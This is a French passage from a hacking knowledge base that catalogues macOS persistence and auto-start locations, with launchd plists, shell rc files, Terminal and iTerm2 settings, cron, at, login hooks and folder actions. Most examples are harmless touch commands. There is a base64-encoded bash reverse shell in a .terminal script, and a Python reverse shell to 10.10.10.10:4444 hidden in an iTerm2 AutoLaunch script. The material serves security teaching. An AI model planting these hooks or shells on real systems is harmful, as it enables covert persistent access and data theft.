macOS Auto Start
Reading time: 48 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Cette section est fortement basée sur la série de blogs Beyond the good ol' LaunchAgents, l'objectif est d'ajouter plus d'emplacements de démarrage automatique (si possible), d'indiquer quelles techniques fonctionnent encore de nos jours avec la derniÚre version de macOS (13.4) et de spécifier les permissions nécessaires.
Contournement de Sandbox
tip
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le contournement de sandbox qui vous permet d'exécuter simplement quelque chose en l'écrivant dans un fichier et en attendant une action trÚs courante, une durée déterminée ou une action que vous pouvez généralement effectuer de l'intérieur d'une sandbox sans avoir besoin de permissions root.
Launchd
Emplacements
/Library/LaunchAgents
- Déclencheur : Redémarrage
- Root requis
/Library/LaunchDaemons
- Déclencheur : Redémarrage
- Root requis
/System/Library/LaunchAgents
- Déclencheur : Redémarrage
- Root requis
/System/Library/LaunchDaemons
- Déclencheur : Redémarrage
- Root requis
~/Library/LaunchAgents
- DĂ©clencheur : Nouvelle connexion
~/Library/LaunchDemons
- DĂ©clencheur : Nouvelle connexion
tip
En fait intéressant, launchd
a une liste de propriétés intégrée dans la section Mach-o __Text.__config
qui contient d'autres services bien connus que launchd doit démarrer. De plus, ces services peuvent contenir RequireSuccess
, RequireRun
et RebootOnSuccess
, ce qui signifie qu'ils doivent ĂȘtre exĂ©cutĂ©s et se terminer avec succĂšs.
Bien sĂ»r, cela ne peut pas ĂȘtre modifiĂ© en raison de la signature de code.
Description & Exploitation
launchd
est le premier processus exĂ©cutĂ© par le noyau OX S au dĂ©marrage et le dernier Ă se terminer lors de l'arrĂȘt. Il doit toujours avoir le PID 1. Ce processus va lire et exĂ©cuter les configurations indiquĂ©es dans les plists ASEP dans :
/Library/LaunchAgents
: Agents par utilisateur installés par l'administrateur/Library/LaunchDaemons
: Daemons à l'échelle du systÚme installés par l'administrateur/System/Library/LaunchAgents
: Agents par utilisateur fournis par Apple./System/Library/LaunchDaemons
: Daemons Ă l'Ă©chelle du systĂšme fournis par Apple.
Lorsqu'un utilisateur se connecte, les plists situées dans /Users/$USER/Library/LaunchAgents
et /Users/$USER/Library/LaunchDemons
sont démarrées avec les permissions des utilisateurs connectés.
La principale diffĂ©rence entre les agents et les daemons est que les agents sont chargĂ©s lorsque l'utilisateur se connecte et que les daemons sont chargĂ©s au dĂ©marrage du systĂšme (car il y a des services comme ssh qui doivent ĂȘtre exĂ©cutĂ©s avant qu'un utilisateur n'accĂšde au systĂšme). De plus, les agents peuvent utiliser l'interface graphique tandis que les daemons doivent s'exĂ©cuter en arriĂšre-plan.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
Il existe des cas oĂč un agent doit ĂȘtre exĂ©cutĂ© avant que l'utilisateur ne se connecte, ceux-ci sont appelĂ©s PreLoginAgents. Par exemple, cela est utile pour fournir une technologie d'assistance Ă la connexion. Ils peuvent Ă©galement ĂȘtre trouvĂ©s dans /Library/LaunchAgents
(voir ici un exemple).
note
De nouveaux fichiers de configuration de Daemons ou d'Agents seront chargés aprÚs le prochain redémarrage ou en utilisant launchctl load <target.plist>
. Il est Ă©galement possible de charger des fichiers .plist sans cette extension avec launchctl -F <file>
(cependant, ces fichiers plist ne seront pas chargés automatiquement aprÚs le redémarrage).
Il est également possible de décharger avec launchctl unload <target.plist>
(le processus pointé par celui-ci sera terminé),
Pour s'assurer qu'il n'y a rien (comme un remplacement) empĂȘchant un Agent ou un Daemon de s'exĂ©cuter, exĂ©cutez : sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
Listez tous les agents et daemons chargés par l'utilisateur actuel :
launchctl list
warning
Si un plist appartient Ă un utilisateur, mĂȘme s'il se trouve dans des dossiers de dĂ©mon Ă l'Ă©chelle du systĂšme, la tĂąche sera exĂ©cutĂ©e en tant qu'utilisateur et non en tant que root. Cela peut empĂȘcher certaines attaques d'escalade de privilĂšges.
Plus d'infos sur launchd
launchd
est le premier processus en mode utilisateur qui est dĂ©marrĂ© depuis le noyau. Le dĂ©marrage du processus doit ĂȘtre rĂ©ussi et il ne peut pas quitter ou planter. Il est mĂȘme protĂ©gĂ© contre certains signaux de terminaison.
L'une des premiĂšres choses que launchd
ferait est de démarrer tous les démons comme :
- Démons de minuterie basés sur le temps à exécuter :
- atd (
com.apple.atrun.plist
) : A unStartInterval
de 30min - crond (
com.apple.systemstats.daily.plist
) : AStartCalendarInterval
pour démarrer à 00:15 - Démons réseau comme :
org.cups.cups-lpd
: Ăcoute en TCP (SockType: stream
) avecSockServiceName: printer
- SockServiceName doit ĂȘtre soit un port soit un service de
/etc/services
com.apple.xscertd.plist
: Ăcoute en TCP sur le port 1640- DĂ©mons de chemin qui sont exĂ©cutĂ©s lorsqu'un chemin spĂ©cifiĂ© change :
com.apple.postfix.master
: VĂ©rifie le chemin/etc/postfix/aliases
- DĂ©mons de notifications IOKit :
com.apple.xartstorageremoted
:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
- Port Mach :
com.apple.xscertd-helper.plist
: Indique dans l'entréeMachServices
le nomcom.apple.xscertd.helper
- UserEventAgent :
- Cela est différent du précédent. Il fait en sorte que launchd lance des applications en réponse à un événement spécifique. Cependant, dans ce cas, le binaire principal impliqué n'est pas
launchd
mais/usr/libexec/UserEventAgent
. Il charge des plugins depuis le dossier restreint SIP /System/Library/UserEventPlugins/ oĂč chaque plugin indique son initialiseur dans la clĂ©XPCEventModuleInitializer
ou, dans le cas de plugins plus anciens, dans le dictionnaireCFPluginFactories
sous la cléFB86416D-6164-2070-726F-70735C216EC0
de sonInfo.plist
.
fichiers de démarrage shell
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Utile pour contourner le sandbox : â
- Contournement TCC : â
- Mais vous devez trouver une application avec un contournement TCC qui exécute un shell qui charge ces fichiers
Emplacements
~/.zshrc
,~/.zlogin
,~/.zshenv.zwc
,~/.zshenv
,~/.zprofile
- DĂ©clencheur : Ouvrir un terminal avec zsh
/etc/zshenv
,/etc/zprofile
,/etc/zshrc
,/etc/zlogin
- DĂ©clencheur : Ouvrir un terminal avec zsh
- Root requis
~/.zlogout
- DĂ©clencheur : Quitter un terminal avec zsh
/etc/zlogout
- DĂ©clencheur : Quitter un terminal avec zsh
- Root requis
- Potentiellement plus dans :
man zsh
~/.bashrc
- DĂ©clencheur : Ouvrir un terminal avec bash
/etc/profile
(n'a pas fonctionné)~/.profile
(n'a pas fonctionné)~/.xinitrc
,~/.xserverrc
,/opt/X11/etc/X11/xinit/xinitrc.d/
- DĂ©clencheur : Attendu pour se dĂ©clencher avec xterm, mais il n'est pas installĂ© et mĂȘme aprĂšs installation, cette erreur est lancĂ©e : xterm :
DISPLAY is not set
Description & Exploitation
Lors de l'initiation d'un environnement shell tel que zsh
ou bash
, certains fichiers de démarrage sont exécutés. macOS utilise actuellement /bin/zsh
comme shell par défaut. Ce shell est automatiquement accessible lorsque l'application Terminal est lancée ou lorsqu'un appareil est accédé via SSH. Bien que bash
et sh
soient Ă©galement prĂ©sents dans macOS, ils doivent ĂȘtre explicitement invoquĂ©s pour ĂȘtre utilisĂ©s.
La page de manuel de zsh, que nous pouvons lire avec man zsh
, a une longue description des fichiers de démarrage.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
Applications Rouverts
caution
La configuration de l'exploitation indiquĂ©e et la dĂ©connexion puis reconnexion ou mĂȘme le redĂ©marrage n'ont pas fonctionnĂ© pour moi pour exĂ©cuter l'application. (L'application n'Ă©tait pas exĂ©cutĂ©e, peut-ĂȘtre qu'elle doit ĂȘtre en cours d'exĂ©cution lorsque ces actions sont effectuĂ©es)
Ăcriture : https://theevilbit.github.io/beyond/beyond_0021/
Emplacement
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
- Déclencheur : Redémarrer les applications rouverts
Description & Exploitation
Toutes les applications Ă rouvrir se trouvent dans le plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Donc, pour faire lancer vos propres applications rouverts, vous devez simplement ajouter votre application Ă la liste.
Le UUID peut ĂȘtre trouvĂ© en listant ce rĂ©pertoire ou avec ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
Pour vérifier les applications qui seront rouverts, vous pouvez faire :
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Pour ajouter une application Ă cette liste, vous pouvez utiliser :
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Préférences du Terminal
- Utile pour contourner le sandbox : â
- Contournement TCC : â
- Le Terminal utilise les autorisations FDA de l'utilisateur qui l'utilise
Emplacement
~/Library/Preferences/com.apple.Terminal.plist
- DĂ©clencheur : Ouvrir le Terminal
Description & Exploitation
Dans ~/Library/Preferences
sont stockées les préférences de l'utilisateur dans les Applications. Certaines de ces préférences peuvent contenir une configuration pour exécuter d'autres applications/scripts.
Par exemple, le Terminal peut exécuter une commande au démarrage :
.png)
Cette configuration est reflétée dans le fichier ~/Library/Preferences/com.apple.Terminal.plist
comme ceci :
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
Donc, si le plist des prĂ©fĂ©rences du terminal dans le systĂšme peut ĂȘtre Ă©crasĂ©, la fonctionnalitĂ© open
peut ĂȘtre utilisĂ©e pour ouvrir le terminal et cette commande sera exĂ©cutĂ©e.
Vous pouvez ajouter cela depuis le cli avec :
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
Scripts de terminal / Autres extensions de fichiers
- Utile pour contourner le sandbox : â
- Contournement TCC : â
- Utilisation du terminal pour avoir les permissions FDA de l'utilisateur qui l'utilise
Emplacement
- Partout
- DĂ©clencheur : Ouvrir le Terminal
Description & Exploitation
Si vous créez un .terminal
script et l'ouvrez, l'application Terminal sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilÚges spéciaux (comme TCC), votre commande sera exécutée avec ces privilÚges spéciaux.
Essayez-le avec :
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
Vous pouvez Ă©galement utiliser les extensions .command
, .tool
, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal.
caution
Si le terminal a Full Disk Access, il pourra complĂ©ter cette action (notez que la commande exĂ©cutĂ©e sera visible dans une fenĂȘtre de terminal).
Plugins Audio
Ăcriture : https://theevilbit.github.io/beyond/beyond_0013/
Ăcriture : https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
- Utile pour contourner le sandbox : â
- Contournement TCC : đ
- Vous pourriez obtenir un accÚs TCC supplémentaire
Emplacement
/Library/Audio/Plug-Ins/HAL
- AccĂšs root requis
- Déclencheur : Redémarrer coreaudiod ou l'ordinateur
/Library/Audio/Plug-ins/Components
- AccĂšs root requis
- Déclencheur : Redémarrer coreaudiod ou l'ordinateur
~/Library/Audio/Plug-ins/Components
- Déclencheur : Redémarrer coreaudiod ou l'ordinateur
/System/Library/Components
- AccĂšs root requis
- Déclencheur : Redémarrer coreaudiod ou l'ordinateur
Description
Selon les écrits précédents, il est possible de compiler certains plugins audio et de les charger.
Plugins QuickLook
Ăcriture : https://theevilbit.github.io/beyond/beyond_0028/
- Utile pour contourner le sandbox : â
- Contournement TCC : đ
- Vous pourriez obtenir un accÚs TCC supplémentaire
Emplacement
/System/Library/QuickLook
/Library/QuickLook
~/Library/QuickLook
/Applications/AppNameHere/Contents/Library/QuickLook/
~/Applications/AppNameHere/Contents/Library/QuickLook/
Description & Exploitation
Les plugins QuickLook peuvent ĂȘtre exĂ©cutĂ©s lorsque vous dĂ©clenchez l'aperçu d'un fichier (appuyez sur la barre d'espace avec le fichier sĂ©lectionnĂ© dans Finder) et qu'un plugin prenant en charge ce type de fichier est installĂ©.
Il est possible de compiler votre propre plugin QuickLook, de le placer dans l'un des emplacements précédents pour le charger, puis d'aller à un fichier pris en charge et d'appuyer sur la barre d'espace pour le déclencher.
Hooks de Connexion/DĂ©connexion
caution
Cela n'a pas fonctionné pour moi, ni avec le LoginHook de l'utilisateur ni avec le LogoutHook root
Ăcriture : https://theevilbit.github.io/beyond/beyond_0022/
Emplacement
- Vous devez ĂȘtre capable d'exĂ©cuter quelque chose comme
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
Lo
cated in~/Library/Preferences/com.apple.loginwindow.plist
Ils sont obsolĂštes mais peuvent ĂȘtre utilisĂ©s pour exĂ©cuter des commandes lorsqu'un utilisateur se connecte.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
Ce paramÚtre est stocké dans /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
Pour le supprimer :
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
L'utilisateur root est stocké dans /private/var/root/Library/Preferences/com.apple.loginwindow.plist
Contournement de Sandbox Conditionnel
tip
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le contournement de sandbox qui vous permet d'exécuter simplement quelque chose en l'écrivant dans un fichier et en attendant des conditions pas trÚs courantes comme des programmes spécifiques installés, des actions d'utilisateur "inhabituelles" ou des environnements.
Cron
Ăcriture: https://theevilbit.github.io/beyond/beyond_0004/
- Utile pour contourner la sandbox: â
- Cependant, vous devez ĂȘtre capable d'exĂ©cuter le binaire
crontab
- Ou ĂȘtre root
- Contournement TCC: đŽ
Emplacement
/usr/lib/cron/tabs/
,/private/var/at/tabs
,/private/var/at/jobs
,/etc/periodic/
- Root requis pour un accÚs en écriture direct. Pas de root requis si vous pouvez exécuter
crontab <file>
- DĂ©clencheur: DĂ©pend du travail cron
Description & Exploitation
Listez les travaux cron de l'utilisateur actuel avec:
crontab -l
Vous pouvez Ă©galement voir tous les cron jobs des utilisateurs dans /usr/lib/cron/tabs/
et /var/at/tabs/
(nécessite les droits root).
Dans MacOS, plusieurs dossiers exĂ©cutant des scripts avec certaines frĂ©quences peuvent ĂȘtre trouvĂ©s dans :
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
LĂ , vous pouvez trouver les cron jobs rĂ©guliers, les at jobs (peu utilisĂ©s) et les periodic jobs (principalement utilisĂ©s pour nettoyer les fichiers temporaires). Les periodic jobs quotidiens peuvent ĂȘtre exĂ©cutĂ©s par exemple avec : periodic daily
.
Pour ajouter un user cronjob programmatically, il est possible d'utiliser :
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
Writeup: https://theevilbit.github.io/beyond/beyond_0002/
- Utile pour contourner le sandbox : â
- Contournement TCC : â
- iTerm2 avait des autorisations TCC accordées
Locations
~/Library/Application Support/iTerm2/Scripts/AutoLaunch
- DĂ©clencheur : Ouvrir iTerm
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
- DĂ©clencheur : Ouvrir iTerm
~/Library/Preferences/com.googlecode.iterm2.plist
- DĂ©clencheur : Ouvrir iTerm
Description & Exploitation
Les scripts stockés dans ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
seront exécutés. Par exemple :
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
ou :
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
Le script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
sera également exécuté :
do shell script "touch /tmp/iterm2-autolaunchscpt"
Les préférences d'iTerm2 situées dans ~/Library/Preferences/com.googlecode.iterm2.plist
peuvent indiquer une commande à exécuter lorsque le terminal iTerm2 est ouvert.
Ce paramĂštre peut ĂȘtre configurĂ© dans les paramĂštres d'iTerm2 :
.png)
Et la commande est reflétée dans les préférences :
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
Vous pouvez définir la commande à exécuter avec :
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
warning
Il est trÚs probable qu'il existe d'autres moyens d'abuser des préférences d'iTerm2 pour exécuter des commandes arbitraires.
xbar
Writeup: https://theevilbit.github.io/beyond/beyond_0007/
- Utile pour contourner le sandbox : â
- Mais xbar doit ĂȘtre installĂ©
- Contournement TCC : â
- Il demande des autorisations d'accessibilité
Location
~/Library/Application\ Support/xbar/plugins/
- Déclencheur : Une fois xbar exécuté
Description
Si le programme populaire xbar est installé, il est possible d'écrire un script shell dans ~/Library/Application\ Support/xbar/plugins/
qui sera exécuté lorsque xbar sera démarré :
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
Writeup: https://theevilbit.github.io/beyond/beyond_0008/
- Utile pour contourner le sandbox : â
- Mais Hammerspoon doit ĂȘtre installĂ©
- Contournement TCC : â
- Il demande des autorisations d'accessibilité
Location
~/.hammerspoon/init.lua
- Déclencheur : Une fois Hammerspoon exécuté
Description
Hammerspoon sert de plateforme d'automatisation pour macOS, utilisant le langage de script LUA pour ses opérations. Notamment, il prend en charge l'intégration de code AppleScript complet et l'exécution de scripts shell, améliorant considérablement ses capacités de script.
L'application recherche un seul fichier, ~/.hammerspoon/init.lua
, et lorsque démarré, le script sera exécuté.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Utile pour contourner le sandbox : â
- Mais BetterTouchTool doit ĂȘtre installĂ©
- Contournement TCC : â
- Il demande des autorisations d'Automatisation-Courtes et d'Accessibilité
Location
~/Library/Application Support/BetterTouchTool/*
Cet outil permet d'indiquer des applications ou des scripts Ă exĂ©cuter lorsque certains raccourcis sont pressĂ©s. Un attaquant pourrait ĂȘtre en mesure de configurer son propre raccourci et action Ă exĂ©cuter dans la base de donnĂ©es pour exĂ©cuter du code arbitraire (un raccourci pourrait simplement consister Ă appuyer sur une touche).
Alfred
- Utile pour contourner le sandbox : â
- Mais Alfred doit ĂȘtre installĂ©
- Contournement TCC : â
- Il demande des autorisations d'Automatisation, d'AccessibilitĂ© et mĂȘme d'accĂšs complet au disque
Location
???
Il permet de créer des workflows qui peuvent exécuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de créer un fichier de workflow et de faire charger ce fichier par Alfred (il est nécessaire de payer la version premium pour utiliser les workflows).
SSHRC
Writeup : https://theevilbit.github.io/beyond/beyond_0006/
- Utile pour contourner le sandbox : â
- Mais ssh doit ĂȘtre activĂ© et utilisĂ©
- Contournement TCC : â
- L'utilisation de SSH nécessite un accÚs FDA
Location
~/.ssh/rc
- DĂ©clencheur : Connexion via ssh
/etc/ssh/sshrc
- AccĂšs root requis
- DĂ©clencheur : Connexion via ssh
caution
Pour activer ssh, cela nécessite un accÚs complet au disque :
sudo systemsetup -setremotelogin on
Description & Exploitation
Par défaut, sauf si PermitUserRC no
dans /etc/ssh/sshd_config
, lorsque un utilisateur se connecte via SSH, les scripts /etc/ssh/sshrc
et ~/.ssh/rc
seront exécutés.
Login Items
Writeup : https://theevilbit.github.io/beyond/beyond_0003/
- Utile pour contourner le sandbox : â
- Mais vous devez exécuter
osascript
avec des arguments - Contournement TCC : đŽ
Locations
~/Library/Application Support/com.apple.backgroundtaskmanagementagent
- DĂ©clencheur : Connexion
- Charge utile d'exploitation stockée appelant
osascript
/var/db/com.apple.xpc.launchd/loginitems.501.plist
- DĂ©clencheur : Connexion
- AccĂšs root requis
Description
Dans PrĂ©fĂ©rences SystĂšme -> Utilisateurs et groupes -> ĂlĂ©ments de connexion, vous pouvez trouver des Ă©lĂ©ments Ă exĂ©cuter lorsque l'utilisateur se connecte.
Il est possible de les lister, d'ajouter et de supprimer depuis la ligne de commande :
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
Ces éléments sont stockés dans le fichier ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
Les Ă©lĂ©ments de connexion peuvent Ă©galement ĂȘtre indiquĂ©s en utilisant l'API SMLoginItemSetEnabled qui stockera la configuration dans /var/db/com.apple.xpc.launchd/loginitems.501.plist
ZIP en tant qu'élément de connexion
(Voir la section précédente sur les éléments de connexion, ceci est une extension)
Si vous stockez un fichier ZIP en tant qu'élément de connexion, l'Archive Utility
l'ouvrira et si le zip était par exemple stocké dans ~/Library
et contenait le dossier LaunchAgents/file.plist
avec un backdoor, ce dossier sera créé (il ne l'est pas par défaut) et le plist sera ajouté afin que la prochaine fois que l'utilisateur se connecte, le backdoor indiqué dans le plist sera exécuté.
Une autre option serait de créer les fichiers .bash_profile
et .zshenv
dans le HOME de l'utilisateur, donc si le dossier LaunchAgents existe déjà , cette technique fonctionnerait toujours.
At
Ăcriture : https://theevilbit.github.io/beyond/beyond_0014/
- Utile pour contourner le sandbox : â
- Mais vous devez exécuter
at
et il doit ĂȘtre activĂ© - Contournement TCC : đŽ
Emplacement
- Besoin de exécuter
at
et il doit ĂȘtre activĂ©
Description
Les tĂąches at
sont conçues pour planifier des tùches uniques à exécuter à certains moments. Contrairement aux tùches cron, les tùches at
sont automatiquement supprimées aprÚs exécution. Il est crucial de noter que ces tùches persistent à travers les redémarrages du systÚme, les marquant comme des préoccupations potentielles en matiÚre de sécurité dans certaines conditions.
Par défaut, elles sont désactivées mais l'utilisateur root peut les activer avec :
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
Cela créera un fichier dans 1 heure :
echo "echo 11 > /tmp/at.txt" | at now+1
VĂ©rifiez la file d'attente des tĂąches en utilisant atq:
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
Au-dessus, nous pouvons voir deux tùches planifiées. Nous pouvons imprimer les détails de la tùche en utilisant at -c JOBNUMBER
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
warning
Si les tùches AT ne sont pas activées, les tùches créées ne seront pas exécutées.
Les fichiers de travail peuvent ĂȘtre trouvĂ©s Ă /private/var/at/jobs/
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
Le nom de fichier contient la file d'attente, le numéro de travail et l'heure à laquelle il est prévu de s'exécuter. Par exemple, prenons un aperçu de a0001a019bdcd2
.
a
- c'est la file d'attente0001a
- numéro de travail en hexadécimal,0x1a = 26
019bdcd2
- temps en hexadécimal. Il représente les minutes écoulées depuis l'époque.0x019bdcd2
est26991826
en décimal. Si nous le multiplions par 60, nous obtenons1619509560
, ce qui correspond ĂGMT: 2021. Avril 27., Mardi 7:46:00
.
Si nous imprimons le fichier de travail, nous constatons qu'il contient les mĂȘmes informations que celles obtenues en utilisant at -c
.
Actions de dossier
Ăcriture : https://theevilbit.github.io/beyond/beyond_0024/
Ăcriture : https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- Utile pour contourner le bac Ă sable : â
- Mais vous devez ĂȘtre capable d'appeler
osascript
avec des arguments pour contacterSystem Events
afin de pouvoir configurer les Actions de dossier - Contournement TCC : đ
- Il a quelques autorisations TCC de base comme Bureau, Documents et Téléchargements
Emplacement
/Library/Scripts/Folder Action Scripts
- AccĂšs root requis
- Déclencheur : AccÚs au dossier spécifié
~/Library/Scripts/Folder Action Scripts
- Déclencheur : AccÚs au dossier spécifié
Description & Exploitation
Les Actions de dossier sont des scripts automatiquement dĂ©clenchĂ©s par des changements dans un dossier tels que l'ajout, la suppression d'Ă©lĂ©ments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenĂȘtre du dossier. Ces actions peuvent ĂȘtre utilisĂ©es pour diverses tĂąches et peuvent ĂȘtre dĂ©clenchĂ©es de diffĂ©rentes maniĂšres, comme en utilisant l'interface Finder ou des commandes terminal.
Pour configurer les Actions de dossier, vous avez des options comme :
- Créer un flux de travail d'Action de dossier avec Automator et l'installer en tant que service.
